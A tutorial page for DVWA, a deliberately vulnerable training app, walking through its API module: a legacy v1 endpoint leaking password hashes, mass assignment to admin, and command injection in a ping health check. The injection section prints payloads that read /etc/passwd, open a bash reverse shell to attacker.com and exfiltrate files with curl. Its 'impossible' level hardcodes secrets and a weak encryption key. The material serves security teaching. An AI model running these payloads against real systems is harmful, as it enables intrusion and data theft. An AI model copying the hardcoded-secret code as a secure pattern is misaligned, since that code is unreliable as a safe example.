Documentation Index
Fetch the complete documentation index at: https://mintlify.com/digininja/DVWA/llms.txt
Use this file to discover all available pages before exploring further.
API Security
Overview
Modern web applications extensively use APIs, either as Single Page Apps (SPAs) or to populate traditional applications with dynamic data. Because these APIs operate “behind the scenes,” developers sometimes make dangerous assumptions:
- Authentication can be relaxed
- Authorization checks are unnecessary
- Input validation is less critical
- Older API versions can remain accessible
As security testers, we can directly access these seemingly hidden endpoints to exploit implementation weaknesses.
Objective
Exploit weak API implementations across different security levels to access unauthorized data, elevate privileges, or execute commands.
API Specification
DVWA includes a complete OpenAPI 3.0 specification for its REST API.
OpenAPI Document
Location: vulnerabilities/api/openapi.yml
openapi: 3.0.0
info:
title: 'DVWA API'
contact:
url: 'https://github.com/digininja/DVWA/'
email: robin@digi.ninja
version: '0.1'
servers:
- url: 'http://dvwa.test'
description: 'API server'
```sql
### API Endpoints
The API is organized into four main controllers:
#### User Controller (`/vulnerabilities/api/v2/user/`)
```yaml
paths:
/vulnerabilities/api/v2/user/{id}:
get:
description: 'Get a user by ID.'
parameters:
- name: id
in: path
required: true
schema:
type: integer
responses:
'200':
content:
application/json:
schema:
$ref: '#/components/schemas/User'
put:
description: 'Update a user by ID.'
requestBody:
content:
application/json:
schema:
$ref: '#/components/schemas/UserUpdate'
delete:
description: 'Delete user by ID.'
User Schema:
{
"id": 1,
"name": "fred",
"level": 1
}
```bash
#### Health Controller (`/vulnerabilities/api/v2/health/`)
```yaml
/vulnerabilities/api/v2/health/connectivity:
post:
description: 'Check connectivity to remote systems.'
requestBody:
content:
application/json:
schema:
required: ['target']
properties:
target:
type: string
example: digi.ninja
Location: vulnerabilities/api/openapi.yml:13-436
Login Controller (/vulnerabilities/api/v2/login/)
/vulnerabilities/api/v2/login/login:
post:
description: 'Login as user.'
requestBody:
content:
application/json:
schema:
required: ['username', 'password']
properties:
username:
type: string
password:
type: string
```sql
#### Order Controller (`/vulnerabilities/api/v2/order/`)
Provides CRUD operations for orders (GET, POST, PUT, DELETE).
---
## Security Levels
### Low Level: API Versioning Vulnerability
#### Vulnerable Code
The low level makes calls to version 2 of the user API:
```javascript
function get_users() {
const url = '/vulnerabilities/api/v2/user/';
fetch(url, {
method: 'GET',
})
.then(response => response.json())
.then(data => {
loadTableData(data);
})
}
function loadTableData(items) {
items.forEach(item => {
Object.keys(item).forEach(function(k){
let cell = row.insert_th_Cell(-1);
cell.innerHTML = k;
if (k == 'password') {
// Success - password hashes exposed!
successDiv.style.display = 'block';
}
});
});
}
Location: vulnerabilities/api/source/low.php:46-97
Exploitation
Observation: The application calls /vulnerabilities/api/v2/user/
Attack Vector: If v2 exists, v1 might still be accessible
Step 1: Test version 1 endpoint
Access directly in browser or via proxy:
GET /vulnerabilities/api/v1/user/
Step 2: Analyze response
Version 2 response:
[
{"id": 1, "name": "admin", "level": 0},
{"id": 2, "name": "user", "level": 1}
]
```text
Version 1 response:
```json
[
{
"id": 1,
"name": "admin",
"level": 0,
"password": "5f4dcc3b5aa765d61d8327deb882cf99"
},
{
"id": 2,
"name": "user",
"level": 1,
"password": "5f4dcc3b5aa765d61d8327deb882cf99"
}
]
Result: Version 1 exposes password hashes!
Key Vulnerability
Legacy API versions often contain:
- Insufficient filtering (exposing sensitive fields)
- Weaker authentication
- Known vulnerabilities
- Deprecated security controls
Best Practice: Deprecate and disable old API versions. If they must exist, ensure they have the same security controls as current versions.
Medium Level: Mass Assignment
Vulnerable Code
The medium level allows users to update their name:
function update_name() {
const url = '/vulnerabilities/api/v2/user/2';
const name = document.getElementById('name').value;
const data = JSON.stringify({name: name});
fetch(url, {
method: 'PUT',
headers: {
'Content-Type': 'application/json'
},
body: data
})
.then(response => response.json())
.then(data => {
update_username(data);
if (user_json.level == 0) {
level = 'admin';
successDiv.style.display = 'block';
}
})
}
```bash
**Location**: `vulnerabilities/api/source/medium.php:50-74`
#### OpenAPI Schema Comparison
**UserUpdate schema** (what's documented for PUT):
```yaml
UserUpdate:
required:
- name
properties:
name:
type: string
example: fred
UserAdd schema (what’s used for POST):
UserAdd:
required:
- level
- name
properties:
name:
type: string
example: fred
level:
type: integer
example: 1
```http
#### Exploitation
**Attack**: Mass assignment via additional parameters
**Step 1: Intercept update request**
Normal request:
```json
PUT /vulnerabilities/api/v2/user/2
{
"name": "morph"
}
Step 2: Add level parameter
Modified request:
PUT /vulnerabilities/api/v2/user/2
{
"name": "hacked",
"level": 0
}
```text
**Step 3: Observe response**
```json
{
"id": 2,
"name": "hacked",
"level": 0
}
Result: User elevated to admin (level 0)!
In-Browser Exploitation
Set breakpoint in update_name() function after data variable creation:
// In browser console:
data = JSON.stringify({name: name, level: 0})
```bash
Resume execution - the modified data will be sent.
#### Key Vulnerability
**Mass assignment** occurs when:
- Server accepts more parameters than intended
- No whitelist of allowed fields
- Object mapping directly to database models
- Insufficient parameter filtering
**Best Practice**:
- Explicitly whitelist allowed parameters
- Use separate DTOs for input vs. database models
- Never trust client-provided data structure
---
### High Level: Command Injection in API
#### Vulnerable Code
The health controller's connectivity check executes OS commands:
```php
private function checkConnectivity() {
$input = (array) json_decode(file_get_contents('php://input'), TRUE);
if (array_key_exists("target", $input)) {
$target = $input['target'];
exec("ping -c 4 " . $target, $output, $ret_var);
if ($ret_var == 0) {
$response['status_code_header'] = 'HTTP/1.1 200 OK';
$response['body'] = json_encode(array("status" => "OK"));
} else {
$response['status_code_header'] = 'HTTP/1.1 500 Internal Server Error';
$response['body'] = json_encode(array("status" => "Connection failed"));
}
}
return $response;
}
Location: vulnerabilities/api/src/HealthController.php:83-102
Exploitation
Vulnerability: User input concatenated directly into shell command
Attack Vector: Command injection via target parameter
Step 1: Normal request
POST /vulnerabilities/api/v2/health/connectivity
{
"target": "digi.ninja"
}
```http
Executes: `ping -c 4 digi.ninja`
**Step 2: Inject additional command**
```json
POST /vulnerabilities/api/v2/health/connectivity
{
"target": "digi.ninja; cat /etc/passwd"
}
Executes:
ping -c 4 digi.ninja; cat /etc/passwd
```text
**Step 3: Advanced payloads**
Reverse shell:
```json
{
"target": "digi.ninja; bash -i >& /dev/tcp/attacker.com/4444 0>&1"
}
Data exfiltration:
{
"target": "digi.ninja && curl -X POST -d @/etc/passwd http://attacker.com"
}
```bash
#### Key Vulnerability
APIs are **equally vulnerable** to injection attacks as web pages:
- SQL injection
- Command injection
- LDAP injection
- XML injection
**Best Practice**:
- Never pass user input to shell commands
- Use parameterized functions (e.g., `ping()` library)
- Whitelist allowed characters
- Run with least privileges
---
### Impossible Level: OAuth2 Implementation
#### Secure Authentication Flow
The impossible level implements proper OAuth2 client credentials flow:
```php
private function login() {
// Verify client credentials (HTTP Basic Auth)
if (array_key_exists("PHP_AUTH_USER", $_SERVER) &&
array_key_exists("PHP_AUTH_PW", $_SERVER)) {
$client_id = $_SERVER['PHP_AUTH_USER'];
$client_secret = $_SERVER['PHP_AUTH_PW'];
// Validate application credentials
if ($client_id == "1471.dvwa.digi.ninja" &&
$client_secret == "ABigLongSecret") {
if ($_POST['grant_type'] == "password") {
// Validate user credentials
if ($username == "mrbennett" && $password == "becareful") {
$response['body'] = Login::create_token();
}
} elseif ($_POST['grant_type'] == "refresh_token") {
// Validate and refresh token
if (Login::check_refresh_token($refresh_token)) {
$response['body'] = Login::create_token();
}
}
}
}
return $response;
}
Location: vulnerabilities/api/src/LoginController.php:75-147
Token Management
class Token {
private const ENCRYPTION_CIPHER = "aes-128-gcm";
private const ENCRYPTION_KEY = "Paintbrush";
public function create_token($secret, $expires) {
$ivlen = openssl_cipher_iv_length(self::ENCRYPTION_CIPHER);
$iv = openssl_random_pseudo_bytes($ivlen);
$ciphertext = openssl_encrypt(
json_encode(array(
"secret" => $secret,
"expires" => $expires,
)),
self::ENCRYPTION_CIPHER,
self::ENCRYPTION_KEY,
0,
$iv,
$tag
);
return base64_encode($tag . ":::::" . $iv . ":::::" . $ciphertext);
}
}
```bash
**Location**: `vulnerabilities/api/src/Token.php:9-48`
#### Protection Mechanisms
1. **Two-layer authentication**:
- Application credentials (client_id/client_secret)
- User credentials (username/password)
2. **Secure token generation**:
- AES-128-GCM authenticated encryption
- Unique IV per token
- Expiration timestamps
3. **Refresh token flow**:
- Access tokens expire quickly
- Refresh tokens allow renewal without re-authentication
- Both tokens have expiration
4. **Input validation**:
- Proper parameter handling
- No shell execution
- Parameterized queries
---
## API Security Best Practices
### Authentication & Authorization
<Check>
**DO**:
- Implement OAuth2 or JWT properly
- Use short-lived access tokens
- Validate tokens on every request
- Enforce rate limiting per user/IP
- Use HTTPS exclusively
</Check>
<Warning>
**DON'T**:
- Rely on obscurity ("hidden" endpoints)
- Use API keys in URLs
- Trust client-side authorization
- Keep old API versions accessible
</Warning>
### Input Validation
```php
// BAD - Direct concatenation
exec("ping " . $_POST['host']);
// BAD - Insufficient validation
if (preg_match('/^[a-z]+$/', $input)) { /* still vulnerable */ }
// GOOD - Use libraries
use Symfony\Process\Process;
$process = new Process(['ping', '-c', '4', $host]);
// GOOD - Strict whitelist
$allowed_hosts = ['example.com', 'test.local'];
if (!in_array($host, $allowed_hosts, true)) {
throw new Exception('Invalid host');
}
Mass Assignment Prevention
// BAD - Direct binding
$user->fill($request->all());
// GOOD - Explicit whitelisting
$user->fill($request->only(['name', 'email']));
// GOOD - DTO pattern
class UpdateUserDTO {
public function __construct(
public readonly string $name,
public readonly string $email
) {}
}
```bash
### API Versioning
<Check>
**Proper versioning**:
- Document deprecation timeline
- Enforce same security controls across versions
- Use API gateway to manage versions
- Monitor and alert on old version usage
- Set sunset headers: `Sunset: Sat, 01 Jan 2025 00:00:00 GMT`
</Check>
---
## Testing Tools
### OpenAPI Parsers
- **Burp OpenAPI Parser**: Import OpenAPI spec into Burp Scanner
- **ZAP OpenAPI Support**: Automated API testing
- **Swagger UI**: Interactive API documentation
- **Postman**: API client with collection runner
### Manual Testing
```bash
# Test version downgrade
curl -X GET http://dvwa.test/vulnerabilities/api/v1/user/
# Test mass assignment
curl -X PUT http://dvwa.test/vulnerabilities/api/v2/user/2 \
-H "Content-Type: application/json" \
-d '{"name":"hacked","level":0}'
# Test command injection
curl -X POST http://dvwa.test/vulnerabilities/api/v2/health/connectivity \
-H "Content-Type: application/json" \
-d '{"target":"example.com; id"}'
OWASP API Security Top 10
| Risk | Description | DVWA Example |
|---|
| API1: Broken Object Level Authorization | Access objects belonging to other users | User endpoint without auth checks |
| API2: Broken Authentication | Weak auth implementation | Legacy v1 endpoint |
| API3: Broken Object Property Level Authorization | Mass assignment | Medium level user update |
| API4: Unrestricted Resource Access | No rate limiting | All levels |
| API5: Broken Function Level Authorization | Access admin functions as user | Level parameter in medium |
| API6: Unrestricted Access to Sensitive Business Flows | Automate sensitive operations | Order management |
| API7: Server Side Request Forgery | SSRF via API parameters | Connectivity check |
| API8: Security Misconfiguration | Exposed debug endpoints | OpenAPI docs accessible |
| API9: Improper Inventory Management | Undocumented v1 endpoint | Low level versioning |
| API10: Unsafe Consumption of APIs | Injection via third-party APIs | High level command injection |
References
This module demonstrates real-world API vulnerabilities for educational and research purposes.